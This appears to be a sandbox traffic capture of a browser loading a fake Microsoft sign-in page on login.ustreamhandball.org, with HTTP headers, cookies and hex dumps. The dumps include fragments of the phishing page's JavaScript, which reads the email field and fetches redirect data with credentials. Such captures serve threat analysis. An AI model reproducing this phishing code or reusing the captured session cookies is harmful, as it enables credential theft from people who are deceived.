2025-01-09 23:21:21 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:21 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:21 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 63 73 73 0d 0a Data Ascii: Content-Type: text/css
2025-01-09 23:21:21 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:21 GMT
2025-01-09 23:21:21 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 43 46 46 42 32 31 45 34 39 36 46 33 41 0d 0a Data Ascii: Etag: 0x8DCFFB21E496F3A
2025-01-09 23:21:21 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 38 20 4e 6f 76 20 32 30 32 34 20 30 34 3a 35 39 3a 32 35 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 08 Nov 2024 04:59:25 GMT
2025-01-09 23:21:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49929	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:21 UTC	2534	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:21 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:21 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:21 UTC	5	IN	Data Raw: 32 36 34 0d 0a Data Ascii: 264
2025-01-09 23:21:21 UTC	612	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 71 75 65 72 79 29 29 7b 0a 20 20 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 32 20 3d Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(query)){ var res = query.split("#"); var data1 = res[0]; var data2 =
2025-01-09 23:21:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:21 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49928	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:21 UTC	2469	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:21 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:21 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:21 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-09 23:21:21 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-09 23:21:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:21 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49927	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:21 UTC	643	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:21 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:21 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:21 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:21 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:21 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:21 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:21 GMT
2025-01-09 23:21:21 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 41 46 34 41 44 41 31 44 34 45 42 0d 0a Data Ascii: Etag: 0x8DD1AF4ADA1D4EB
2025-01-09 23:21:21 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 32 31 3a 33 33 3a 35 34 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 12 Dec 2024 21:33:54 GMT
2025-01-09 23:21:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49926	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:21 UTC	662	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:21 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:21 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:21 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:21 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:21 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:21 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:21 GMT
2025-01-09 23:21:21 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 36 34 32 41 44 37 35 42 43 34 45 0d 0a Data Ascii: Etag: 0x8DD1642AD75BC4E
2025-01-09 23:21:21 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 36 20 44 65 63 20 32 30 32 34 20 32 32 3a 30 39 3a 33 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 06 Dec 2024 22:09:39 GMT
2025-01-09 23:21:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49938	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:22 UTC	1519	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:22 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:22 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:22 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:22 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:22 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:22 UTC	5	IN	Data Raw: 32 36 34 0d 0a Data Ascii: 264
